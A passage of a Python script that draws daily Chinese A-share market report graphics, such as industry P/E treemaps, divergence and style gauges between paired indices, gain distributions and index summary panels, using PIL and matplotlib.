pe_helper(section=section,bcolor=bcolor,index_G=[\"创业板\"],pos=pos)\n\n\n\n\n\n\ndef section_abs_pe_backup(trade_date, df_date,bcolor,pos):\n\n # add init\n section = Image.new('RGBA', (width, 2300), bcolor)\n idraw = draw_text(section, f\"{pos}. 申万一级行业市盈率\",background=True)\n\n #treemap data\n df_date_filtered=df_date[df_date[\"pe_ttm\"].between(0,500)]\n df_group_mean=df_date_filtered.groupby(by=\"sw1\", sort=True).mean()\n df_group_mean=df_group_mean.sort_values(by=\"pe_ttm\",ascending=False)\n\n #cheat size by make the last n smallest industry bigger. Otherwise too small to display\n last=3\n df_group_mean[\"pe_ttm_size\"]=df_group_mean[\"pe_ttm\"]\n for i in range(1,last):\n df_group_mean[\"pe_ttm_size\"].iloc[-i]=df_group_mean[\"pe_ttm_size\"].iat[-last]\n\n sizes = df_group_mean[\"pe_ttm_size\"]\n label=[]\n for name,pe_ttm in zip(df_group_mean.index,df_group_mean[\"pe_ttm\"]):\n label+=[f\"{name}\\n{round(pe_ttm,1)}PE\"]\n\n\n\n\n colors= []\n for name, pe_ttm in zip(df_group_mean.index, df_group_mean[\"pe_ttm\"]):\n if pe_ttm==0:\n colors+=[gray]\n\n elif pe_ttm>0 and pe_ttm<=1:\n colors += [treemapred1]\n elif pe_ttm>1 and pe_ttm<=2:\n colors += [treemapred2]\n elif pe_ttm > 2 and pe_ttm <= 3:\n colors += [treemapred3]\n elif pe_ttm > 3:\n colors += [treemapred4]\n\n elif pe_ttm>=-1 and pe_ttm<0:\n colors += [treemapgreen1]\n elif pe_ttm>=-2 and pe_ttm<-1:\n colors += [treemapgreen2]\n elif pe_ttm>=-3 and pe_ttm<-2:\n colors += [treemapgreen3]\n elif pe_ttm<-3 :\n colors += [treemapgreen4]\n\n\n\n cmap = matplotlib.cm.Wistia\n mini =df_group_mean[\"pe_ttm\"].min()\n maxi =df_group_mean[\"pe_ttm\"].max()\n norm = matplotlib.colors.Normalize(vmin=mini, vmax=maxi)\n colors = [cmap(norm(value)) for value in df_group_mean[\"pe_ttm\"]]\n\n\n squarify.plot(sizes=sizes, label=label, color=colors, alpha=1,text_kwargs={'fontsize':9, 'fontname':\"Microsoft Yahei\",\"color\":\"#ffffff\"},bar_kwargs=dict(linewidth=1, edgecolor=\"#ffffff\"))\n fig = plt.gcf()\n fig.set_size_inches(6,6)\n plt.axis('off')\n path = f'Plot/report_D_material/{trade_date}/pe_ttm.png'\n img_saver(path=path,dpi=400)\n chart = Image.open(path)\n cw,ch=chart.size\n offset=350\n cw,cw=chart.size\n\n section.paste(chart, (int((width-cw)/2)-10, offset), mask=chart)\n idraw.text((title_padding[0], ch + offset), \"市盈率越大面积越大\", font=h3, fill=\"#ffffff\")\n\n return section\n\ndef section_divergence(trade_date, df_date, bcolor,pos):\n # add init\n section = Image.new('RGBA', (width, 1000), bcolor)\n idraw = draw_text(section, f\"{pos}. 市场分化特征\",background=True)\n\n s_pct_chg=df_date[\"pct_chg\"].sort_values(ascending=True)\n top20=int(len(s_pct_chg)*0.2)\n s_top=s_pct_chg.nlargest(top20)\n s_bot=s_pct_chg.nsmallest(top20)\n\n top_gain=s_top.mean()\n s_bot=s_bot.mean()\n today_divergence=top_gain-s_bot\n\n \"\"\"\n NOTE the axis is hard coded for now.\n I found out that 4=min, 6=max is a good scale that most of the time remains reasonable\n \"\"\"\n\n minium=4\n maximium=8.1\n if today_divergence <=minium:\n today_divergence=minium\n elif today_divergence>=maximium:\n today_divergence=maximium\n\n #conver the 4-6 scale to 0-1 scale\n today_divergence=(( (today_divergence- minium)) / (maximium - minium))\n\n # display data\n x_fake = [x for x in [1]]\n x = [x for x in [today_divergence]]\n y = [x for x in [\"egal\"]]\n\n # fake\n line = plt.barh(y, x_fake) # background\n for i in range(0, len(line)):\n line[i].set_color(violet)\n\n # real\n lines = plt.barh(y, x)\n for i in range(0, len(lines)):\n lines[i].set_color(orange)\n\n ax = plt.gca()\n ax.set_xlim([-1, 2])\n ax.set_ylim([0, 1])\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_visible(False)\n ax.yaxis.set_visible(False)\n plt.annotate(\"小\", xy=(-0.15, 0), ha='center', va='bottom', color=\"white\", size=28)\n plt.annotate(\"大\", xy=(1.15, 0), ha='center', va='bottom', color=\"white\", size=28)\n plt.yticks(color=\"#ffffff\")\n fig = plt.gcf()\n fig.set_size_inches(14, 2)\n\n # draw arrow\n path = f'../Plot/static/arrow.png'\n chart = Image.open(path)\n chart = chart.resize((150, 150))\n cw, ch = chart.size\n hnorm = 106\n diff=today_divergence - 0.5\n distance=diff*hnorm*10\n\n section.paste(chart, (int(((width - cw) / 2)+distance), 500), mask=chart)\n\n if today_divergence<=0.2:\n summary_text=\"分化极小\"\n elif today_divergence>0.2 and today_divergence<=0.35:\n summary_text=\"分化偏小\"\n elif today_divergence>0.35 and today_divergence<=0.65:\n summary_text=\"分化中等\"\n elif today_divergence>0.65 and today_divergence<=0.8:\n summary_text=\"分化偏大\"\n elif today_divergence>0.8:\n summary_text=\"分化极大\"\n\n w, h = idraw.textsize(summary_text, font=mega3)\n idraw.text((int(((width - w) / 2)+distance), title_padding[1] + 500-300), summary_text, font=mega3, fill=white)\n\n # draw label\n path = f'Plot/report_D_material/{trade_date}/divergence.png'\n img_saver(path=path, dpi=300)\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width-cw)/2), 400), mask=chart)\n\n\n if False:\n #gain by groups data\n a_cont_cols=[\"turnover_rate\",\"vol\",\"amount\",\"total_mv\",\"close\",\"pb\",\"pe_ttm\"]+[f\"pgain{x}\" for x in [5,20,60,240]]\n\n\n df_group_result=pd.DataFrame()\n for group in a_cont_cols:\n d_quantile = LB.custom_quantile(df=df_date,p_setting=[0,0.1,0.9,1],key_val=False,column=group)\n for key, df_quantile in d_quantile.items():\n if key==f\"0,0.1\":\n df_group_result.at[f\"{group}_top\",\"gain\"]=df_quantile[\"pct_chg\"].mean()\n elif key == f\"0.9,1\":\n df_group_result.at[f\"{group}_bot\", \"gain\"] = df_quantile[\"pct_chg\"].mean()\n\n if False:\n a_disc_cols = [\"sw2\"]\n for col in a_disc_cols:\n for instance in df_date[col].unique():\n df_date_group=df_date[df_date[col]==instance]\n if len(df_date_group)<=8:#disregard very small groups\n df_group_result.at[f\"{col}_{instance}\",\"gain\"] =np.nan\n else:\n df_group_result.at[f\"{col}_{instance}\",\"gain\"]=df_date_group[\"pct_chg\"].mean()\n\n # display data\n displayn=5\n df_group_result=df_group_result.sort_values(\"gain\",ascending=True)\n\n xpos = [1 for x in range(displayn)]\n xneg = [-1 for x in range(displayn)]\n y = [x for x in range(displayn)]\n\n #negative\n line = plt.barh(y, xpos) # background\n for i in range(0, len(line)):\n line[i].set_color(red)\n\n # positive\n lines = plt.barh(y, xneg)\n for i in range(0, len(lines)):\n lines[i].set_color(green)\n\n ax = plt.gca()\n ax.set_xlim([-2, 2])\n ax.set_ylim([-1, len(y)])\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_visible(False)\n ax.yaxis.set_visible(False)\n\n for posneg in [1,-1]:\n for i,(index,gain) in enumerate(zip(df_group_result.index[::posneg],df_group_result[\"gain\"][::posneg])):\n if i>=displayn:\n continue\n\n array=LB.col_translate()[index[:-4]]\n chinesename=array[0]\n looup= LB.col_gd() if array[1] == True else LB.col_gd()\n value=looup[0] if index[-3:]==\"top\" else looup[1]\n\n\n plt.annotate(f\"{chinesename}{value}{round(gain,1)}\", xy=(0.5*posneg*(-1), displayn - i - 1), ha='center', va='bottom', color=\"white\", size=18)\n\n\n plt.yticks(color=\"#ffffff\")\n fig = plt.gcf()\n fig.set_size_inches(15, 8)\n\n path = f'Plot/report_D_material/{trade_date}/zhuli.png'\n img_saver(path=path, dpi=280)\n chart = Image.open(path)\n cw2, ch2 = chart.size\n section.paste(chart, (int((width - cw2) / 2), 400+ch+0), mask=chart)\n\n return section\n\ndef helper_leftorright(section,idraw, divergence,a_leftright_label,a_description,a_gain,name,a_index,y_offset=0):\n \"\"\"\n NOTE the axis is hard coded for now.\n I found out that 4=min, 6=max is a good scale that most of the time remains reasonable\n \"\"\"\n #cast divergence to be between minimum and maximum\n if False:\n if divergence <= short_minimum:\n divergence = short_minimum\n elif divergence >= short_maxiium:\n divergence = short_maxiium\n\n # convert the 4-8 scale to 0-1 scale\n divergence = (((divergence - short_minimum)) / (short_maxiium - short_minimum))\n divergence=1-divergence\n\n # display data\n x_fake = [x for x in [1]]\n x = [x for x in [divergence]]\n y = [x for x in [\"egal\"]]\n\n # fake\n line = plt.barh(y, x_fake) # background\n for i in range(0, len(line)):\n line[i].set_color(white)\n\n # real\n lines = plt.barh(y, x)\n for i in range(0, len(lines)):\n lines[i].set_color(orange)\n\n #make it round\n #axes_to_round(ax)\n\n #standard visual setting\n ax = plt.gca()\n ax.set_xlim([-1, 2])\n ax.set_ylim([0, 1])\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_visible(False)\n ax.yaxis.set_visible(False)\n plt.annotate(a_leftright_label[0], xy=(-0.20, 0.08), ha='center', va='bottom', color=\"white\", size=28)\n plt.annotate(a_leftright_label[1], xy=(1.20, 0.08), ha='center', va='bottom', color=\"white\", size=28)\n\n if a_gain[0]>=0:\n text1=f\"+{round(a_gain[0],1)}%\"\n else:\n text1 = f\"{round(a_gain[0], 1)}%\"\n\n if a_gain[1]>=0:\n text2=f\"+{round(a_gain[1],1)}%\"\n else:\n text2 = f\"{round(a_gain[1], 1)}%\"\n plt.annotate(text1, xy=(-0.20, 0.35), ha='center', va='bottom', color=\"white\", size=28)\n plt.annotate(text2, xy=(1.20, 0.35), ha='center', va='bottom', color=\"white\", size=28)\n\n plt.yticks(color=\"#ffffff\")\n fig = plt.gcf()\n fig.set_size_inches(14, 1.8)\n\n # draw arrow\n path = f'../Plot/static/arrow.png'\n chart = Image.open(path)\n chart = chart.resize((150, 150))\n cw, ch = chart.size\n hnorm = 106\n diff = divergence - 0.5\n distance = diff * hnorm * 10\n\n section.paste(chart, (int(((width - cw) / 2) + distance), 560+y_offset), mask=chart)\n\n if divergence <= 0.20:\n summary_text = a_description[0]\n elif divergence > 0.20 and divergence <= 0.40:\n summary_text = a_description[1]\n elif divergence > 0.40 and divergence <= 0.60:\n summary_text = a_description[2]\n elif divergence > 0.60 and divergence <= 0.80:\n summary_text = a_description[3]\n elif divergence > 0.80:\n summary_text = a_description[4]\n\n\n w, h = idraw.textsize(summary_text, font=mega3)\n #idraw.text((int(((width - w) / 2) + distance), title_padding[1] + 560 - 300+y_offset), summary_text, font=mega3, fill=white)\n idraw.text((int(((width - w) / 2) ), title_padding[1] + 560 +250+y_offset), summary_text, font=mega3, fill=white)\n else:\n for counter, (hdistance,label,stkgain,index) in enumerate(zip([-450,450],a_leftright_label,a_gain,a_index)):\n\n # best should be at left\n if stkgain == max(a_gain):\n hdistance=-abs(hdistance)\n else:\n hdistance = abs(hdistance)\n\n\n #background image\n if hdistance<0:\n bpath = f'Plot/static/yellow.png'\n else:\n bpath = f'Plot/static/white.png'\n # load image and put it as background\n bground = Image.open(bpath)\n bground = bground.resize((650, 430))\n bground = add_corners(bground, 70)\n w, height1 = bground.size\n section.paste(bground, (int(((width - w) / 2)) + hdistance, 410+y_offset), mask=bground)\n\n\n\n #pct\n stkgain = round(stkgain, 1)\n if stkgain > 0:\n stkgain = f\"+{stkgain}%\"\n else:\n stkgain = f\"{stkgain}%\"\n w, h = idraw.textsize(stkgain, font=mega3)\n idraw.text((int(((width - w) / 2)) + hdistance, 630 + y_offset), stkgain, font=mega3, fill=gray)\n\n #label\n w, h = idraw.textsize(label, font=mega3)\n idraw.text((int(((width - w) / 2)) + hdistance, 480+y_offset), label, font=mega3, fill=gray)\n\n #index ts_code\n index=index[:-3]\n w, h = idraw.textsize(index, font=h3)\n idraw.text((int(((width - w) / 2)) + hdistance, 450 + y_offset), index, font=h3, fill=gray)\n\n idraw.text((int(((width) / 2))-120 , 400-30+y_offset ), \">\", font=mega1, fill=\"white\",align=\"center\")\n\n # draw label\n if False:\n path = f'Plot/report_D_material/{trade_date}/{name}.png'\n return img_saver(path=path, dpi=300)\n\n\n\ndef section_style(trade_date, df_date, bcolor, pos):\n # add init\n section_height=4250\n section = Image.new('RGBA', (width, section_height), bcolor)\n idraw = draw_text(section, f\"{pos}. 市场风格\",background=True)\n\n d_size={\n \"index\":[\"000903.SH\",\"000852.SH\"],\n \"a_leftright_label\" : [\"大市值\", \"小市值\"],\n \"a_description\" : [\"大市值股极强\", \"大市值股偏强\", \"平衡\", \"小市值股偏强\", \"小市值股极强\"],\n }\n\n d_style = {\n \"index\": [\"000117.SH\", \"000118.SH\"],\n \"a_leftright_label\": [\"成长股\", \"价值股\"],\n \"a_description\": [\"成长股极强\", \"成长股偏强\", \"平衡\", \"价值股偏强\", \"价值股极强\"],\n }\n\n\n d_beta = {\n \"index\": [\"399407.SZ\", \"399406.SZ\"],\n \"a_leftright_label\": [\"高波动\", \"低波动\"],\n \"a_description\": [\"高波动股极强\", \"高波动股偏强\", \"平衡\", \"低波动股偏强\", \"低波动股偏强\"],\n }\n\n d_up_down = {\n \"index\": [\"399704.SZ\", \"399706.SZ\"],\n \"a_leftright_label\": [\"上游股\", \"下游股\"],\n \"a_description\": [\"上游股极强\", \"上游股偏强\", \"平衡\", \"下游股偏强\", \"下游股极强\"],\n }\n\n d_head = {\n \"index\": [\"399653.SZ\", \"000300.SH\"],\n \"a_leftright_label\": [\"龙头股\", \"非龙头\"],\n \"a_description\": [\"龙头股极强\", \"龙头股偏强\", \"平衡\", \"非龙头股偏强\", \"非龙头股极强\"],\n }\n\n\n d_new = {\n \"index\": [\"399678.SZ\", \"000300.SH\"],\n \"a_leftright_label\": [\"次新股\", \"非次新\"],\n \"a_description\": [\"次新股极强\", \"次新股偏强\", \"平衡\", \"非次新偏强\", \"非次新极强\"],\n }\n\n d_cyclic = {\n \"index\": [\"000063.SH\", \"000064.SH\"],\n \"a_leftright_label\": [\"周期股\", \"非周期\"],\n \"a_description\": [\"周期股极强\", \"周期股偏强\", \"平衡\", \"非周期偏强\", \"非周期极强\"],\n }\n\n real_counter=0\n for counter,d_ in enumerate([d_size,d_style,d_beta,d_up_down,d_head,d_cyclic,d_new]):\n try:\n df_asset_big=DB.get_asset(ts_code=d_[\"index\"][0],asset=\"I\")\n df_asset_small=DB.get_asset(ts_code=d_[\"index\"][1],asset=\"I\")\n biggain = df_asset_big.at[int(trade_date),\"pct_chg\"]\n smallgain= df_asset_small.at[int(trade_date),\"pct_chg\"]\n today_divergence = biggain-smallgain\n\n #y_offset=counter*800\n y_offset=real_counter*550\n helper_leftorright(section=section,idraw=idraw,divergence=today_divergence,a_leftright_label=d_[\"a_leftright_label\"],a_description=d_[\"a_description\"],y_offset=y_offset,name=f\"shor_size{counter}\",a_gain=[biggain,smallgain],a_index=d_[\"index\"])\n real_counter+=1\n except:\n print(d_[\"a_leftright_label\"],\"there is an error here\")\n continue\n\n if real_counter==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n else:\n #crop image\n missing=counter - real_counter +1\n cut=missing*550\n section = section.crop((0, 0, width, section_height-cut))\n return section\n\n\n\ndef section_mid_size(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 大市值vs小市值\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[f\"000903.SH\",\"000852.SH\"],a_summary=[\"大市值\",\"小市值\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_valuegrowth(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 成长股vs价值股\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[\"000117.SH\", \"000118.SH\"],a_summary=[\"成长股\",\"价值股\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_beta(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 高波动vs低波动\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=\"size\",trade_date=trade_date,a_index=[\"399406.SZ\", \"399407.SZ\"],a_summary=[\"高波动\",\"低波动\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_head(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 龙头股vs非龙头\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[\"399653.SZ\", \"000300.SH\"],a_summary=[\"龙头股\",\"非龙头\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_supplier(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 上游股vs下游股\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[\"399704.SZ\", \"399706.SZ\"],a_summary=[\"上游股\",\"下游股\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_cyclic(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 周期股vs非周期\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[\"000063.SH\", \"000064.SH\"],a_summary=[\"周期股\",\"非周期\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_new(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 次新股vs非次新\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[\"399678.SZ\", \"000300.SH\"],a_summary=[\"次新股\",\"非次新\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_mid_fund(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1950), bcolor)\n idraw = draw_text(section, f\"{pos}. 中长风格: 基金vs沪深300\",background=True)\n\n path=linechart_helper(section=section,idraw=idraw,name=f\"size{pos}\",trade_date=trade_date,a_index=[\"399379.SZ\", \"399300.SZ\"],a_labelhelper=[\"\",\"\"],a_summary=[\"基金\",\"沪深300\"])\n if path==-1:\n return Image.new('RGBA', (width, 0), bcolor)\n\n chart = Image.open(path)\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), 350), mask=chart)\n return section\n\ndef section_distribution(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 2500), bcolor)\n idraw = draw_text(section, f\"{pos}. 涨跌分布\",background=True)\n\n\n # add histogram\n histo = Image.open(get_bar(s=df_date[\"pct_chg\"],path = f'Plot/report_D_material/{trade_date}/histo.png'))\n hw, hh = histo.size\n\n #paste all stuff into the section\n offsetfrom_hiddenaxis=0\n histooffset=0\n section.paste(histo, (int((width - hw) / 2)-offsetfrom_hiddenaxis, -histooffset), mask=histo)\n\n # add average gain\n avg_gain = df_date[\"pct_chg\"].mean()\n avg_gain = round(avg_gain, 2)\n avg_gain = f\"平均涨跌\\n+{avg_gain}%\" if avg_gain > 0 else f\"平均涨跌\\n{avg_gain}%\"\n idraw.text((title_padding[0], 400), avg_gain, font=mega3, fill=\"white\")\n\n try:\n zd_ratio = len(df_date[df_date[\"pct_chg\"] > 9.5]) / len(df_date[df_date[\"pct_chg\"] < -9.5])\n zd_ratio = int(round(zd_ratio))\n idraw.text((1350, 400), f\"涨跌停比\\n≈{zd_ratio}:1\", font=mega3, fill=\"white\", align=\"right\")\n except:\n pass\n\n #涨跌幅统计\n die = len(df_date[df_date[\"pct_chg\"] < 0])\n zhang = len(df_date[df_date[\"pct_chg\"]>0])\n diepct = round(die / len(df_date) * 100, 0)\n zhangpct = round(zhang / len(df_date) * 100, 0)\n offset = -histooffset+200\n for i,tuple in enumerate([[\"跌\",die,diepct,-1],[\"涨\",zhang,zhangpct,1]]):\n abs_count = f\"{int(tuple[1])}家\"\n pct_count=f\"{int(tuple[2])}%\"\n text = tuple[0]\n color= red if i==0 else green\n color=white\n norm=tuple[3]\n hdistance=400\n\n # load image and put it as background\n bpath = f'Plot/static/greenarrow.png' if i ==0 else f'Plot/static/redarrow.png'\n bground = Image.open(bpath)\n bground = bground.resize((500, 800))\n w, height1 = bground.size\n if text==\"涨\":\n minus_height=-80\n else:\n minus_height = 0\n section.paste(bground, (int(((width - w) / 2)) + norm * hdistance, hh+offset+minus_height-60), mask=bground)\n\n #pct of stocks 涨跌\n w, height1 = idraw.textsize(f\"{pct_count}\", font=mega3)\n idraw.text(( int(((width - w) / 2)) + norm*hdistance, hh+offset+0), f\"{pct_count}\", font=mega3, fill=color)\n\n # abs of stocks 涨跌\n w, height2 = idraw.textsize(abs_count, font=h2)\n idraw.text((int(((width - w) / 2)) + norm*hdistance, hh + height1 + offset + 0), abs_count, font=h2, fill=color)\n\n # text 涨跌\n w, height3 = idraw.textsize(text, font=mega2)\n idraw.text( ( int(((width - w) / 2)) + norm*hdistance, hh +height1 + height2+ offset+50), text, font=mega2, fill=color)\n\n return section\n\ndef section_index(trade_date, df_date,bcolor,pos):\n\n # add init\n section = Image.new('RGBA', (width, 2400), bcolor)\n idraw = draw_text(section, f\"{pos}. 三指涨幅\",fill=gray,background=True)\n\n\n\n #calculate data for 3 index\n a_pct_chg=[]\n vertical_offset = 400\n horizontal_offset = 650\n\n for ts_index,name,i in zip([\"000001.SH\",\"399001.SZ\",\"399006.SZ\"],[\"上证指数\",\"深成指数\",\"创业板指\"],[-1,0,1]):\n\n #redundant way to determine if stock exist on that day\n try:\n\n #create miniature view of todays chart\n df_freq = DB.get_asset(ts_code=f\"{ts_index}_{trade_date}\",asset=\"I\",freq=\"10min\")\n if df_freq.empty:\n from Others.Deprecated import _API_JQ\n df_freq = _API_JQ.my_get_price_10min(security=LB.df_switch_ts_code(ts_index), start_date=trade_date, end_date=trade_date)\n df_freq.index.name=\"trade_date\"\n LB.to_csv_feather(df_freq,a_path=LB.a_path(f\"Market/CN/Asset/I/10min/{ts_index}_{trade_date}\"),skip_feather=True)\n\n #save chart and read chart into pillow\n df_freq[\"close\"].plot(color='#ffffff',legend=False,linewidth=8)\n plt.axis(\"off\")\n path = f'Plot/report_D_material/{trade_date}/{ts_index}.png'\n img_saver(path=path,dpi=80)\n chart = Image.open(path)\n chart=chart.resize((480, 300))\n\n\n #create data pack of index\n df = DB.get_asset(ts_index, asset=\"I\")\n close= int(df.at[int(trade_date), \"close\"])\n pct_chg=df.at[int(trade_date),\"pct_chg\"]\n pct_chg_text=f\"+{round(pct_chg,2)}%\" if pct_chg>=0 else f\"{round(pct_chg,2)}%\"\n a_pct_chg+=[pct_chg]\n\n if pct_chg> 0 :\n color = red\n bpath = f'Plot/static/red.png'\n elif pct_chg==0:\n color = white\n bpath = f'Plot/static/gray.png'\n elif pct_chg < 0:\n color = green\n bpath = f'Plot/static/green.png'\n\n color=white\n\n #load image and put it as background\n bground = Image.open(bpath)\n bground = bground.resize((600, 850))\n bground =add_corners(bground, 70)\n w, height1 = bground.size\n section.paste(bground, (int(((width - w) / 2))+ i * horizontal_offset, 350),mask=bground)\n\n # display 标题\n w, height1 = idraw.textsize(f\"{name}\", font=h2)\n idraw.text((int(((width - w) / 2)) + i * horizontal_offset, vertical_offset + 0), name, font=h2, fill=white)\n\n # display close\n w, height2 = idraw.textsize(f\"{close}\", font=h1)\n idraw.text((int(((width - w) / 2)) + i * horizontal_offset, height1 + vertical_offset + 0), f\"{close}\", font=h1, fill=white)\n\n # display pct_chg 涨跌\n w, height3 = idraw.textsize(pct_chg_text, font=mega3)\n idraw.text((int(((width - w) / 2)) + i * horizontal_offset, height1 + height2 + vertical_offset + 40), pct_chg_text, font=mega3, fill=color)\n\n # display mini chart\n w,h=chart.size\n section.paste(chart, (int(((width - w) / 2) )+ 0 + i * horizontal_offset, height1 + height2 + height3 + vertical_offset + 90), mask=chart)\n\n except:\n\n #if stock doesnt exist back then.create dummy\n\n\n # create data pack of index\n pct_chg_text = f\"+0.0%\"\n\n\n\n bpath = f'Plot/static/gray.png'\n\n color = white\n\n # load image and put it as background\n bground = Image.open(bpath)\n bground = bground.resize((600, 850))\n bground = add_corners(bground, 70)\n w, height1 = bground.size\n section.paste(bground, (int(((width - w) / 2)) + i * horizontal_offset, 350), mask=bground)\n\n # display 标题\n w, height1 = idraw.textsize(f\"{name}\", font=h2)\n idraw.text((int(((width - w) / 2)) + i * horizontal_offset, vertical_offset + 0), name, font=h2, fill=white)\n\n # display close\n w, height2 = idraw.textsize(f\"未上市\", font=h1)\n idraw.text((int(((width - w) / 2)) + i * horizontal_offset, height1 + vertical_offset + 0), f\"未上市\", font=h1, fill=white)\n\n # display pct_chg 涨跌\n w, height3 = idraw.textsize(pct_chg_text, font=mega3)\n idraw.text((int(((width - w) / 2)) + i * horizontal_offset, height1 + height2 + vertical_offset + 40), pct_chg_text, font=mega3, fill=color)\n\n # display mini chart\n #section.paste(chart, (int(((width - w) / 2)) + 70 + i * horizontal_offset, height1 + height2 + height3 + vertical_offset + 60), mask=chart)\n\n #STOCK DATA\n #beat index E data\n abs_beat_index = len(df_date[df_date[\"pct_chg\"] > builtins.max(a_pct_chg)])\n pct_beat_index = int((abs_beat_index / len(df_date)) * 100)\n\n #beat index E pct\n baseheight=1300\n w, height4 = idraw.textsize(f\"{pct_beat_index}%\", font=mega1)\n idraw.text((int(((width-w) / 2)) , baseheight), f\"{pct_beat_index}%\", font=mega1, fill=white)\n\n #beat index E text\n biggest_pct=max(a_pct_chg)\n if a_pct_chg.index(biggest_pct)==0:\n sanzhiname=\"上证指数\"\n elif a_pct_chg.index(biggest_pct)==1:\n sanzhiname=\"深证指数\"\n elif a_pct_chg.index(biggest_pct)==2:\n sanzhiname=\"创业板指\"\n\n textmsg=f\"{abs_beat_index}只股票今跑赢{sanzhiname}\"\n w, height5 = idraw.textsize(textmsg, font=h2)\n idraw.text((int(((width - w) / 2)), height4+ baseheight), textmsg, font=h2, fill=white)\n\n textmsg = f\"(上市40交易日以上)\"\n w, height55 = idraw.textsize(textmsg, font=text)\n idraw.text((int(((width - w) / 2)), height4 + height5 + baseheight), textmsg, font=text, fill=white)\n\n #FD DATA\n df_date_FD=DB.get_date(trade_date=trade_date,a_asset=[\"FD\"])\n df_date_FD=df_date_FD[ (df_date_FD[\"fund_type\"]==\"股票型\") | (df_date_FD[\"fund_type\"]==\"混合型\")]\n baseheight2=100\n\n # beat index E data\n abs_beat_index = len(df_date_FD[df_date_FD[\"pct_chg\"] > builtins.max(a_pct_chg)])\n pct_beat_index = int((abs_beat_index / len(df_date_FD)) * 100)\n\n # beat index FD pct\n w, height6 = idraw.textsize(f\"{pct_beat_index}%\", font=mega1)\n idraw.text((int(((width - w) / 2)), height4+height5+ baseheight2+baseheight), f\"{pct_beat_index}%\", font=mega1, fill=white)\n\n # beat index FD text基金\n textmsg = f\"{abs_beat_index}只基金今跑赢{sanzhiname}\"\n w, height7 = idraw.textsize(textmsg, font=h2)\n idraw.text((int(((width - w) / 2)), height4+height5+height6+ baseheight2+baseheight), textmsg, font=h2, fill=white)\n\n # beat index FD text基金\n textmsg = f\"(股票型+混合型场内基金)\"\n w, height8 = idraw.textsize(textmsg, font=text)\n idraw.text((int(((width - w) / 2)), height4 + height5 + height6 +height7 + baseheight2 + baseheight), textmsg, font=text, fill=white)\n\n\n #deterine the bull or bear image depending on todays market\n pos_index=0\n for pct_chg in a_pct_chg:\n if pct_chg>=0:\n pos_index+=1\n\n if pos_index in [1,2]:\n a_image = [\"bear\", \"bull\"]\n elif pos_index in [3]:\n a_image = [\"bull\", \"bull\"]\n elif pos_index in [0]:\n a_image = [\"bear\", \"bear\"]\n\n for bb,lr in zip(a_image,[\"l\",\"r\"]):\n bb_image = Image.open(f\"Plot/static/{bb}{lr}.png\")\n bb_image = bb_image.resize((570, 570))\n w, height1 = bb_image.size\n if lr == \"l\":\n section.paste(bb_image, (0, height1 + height2 + 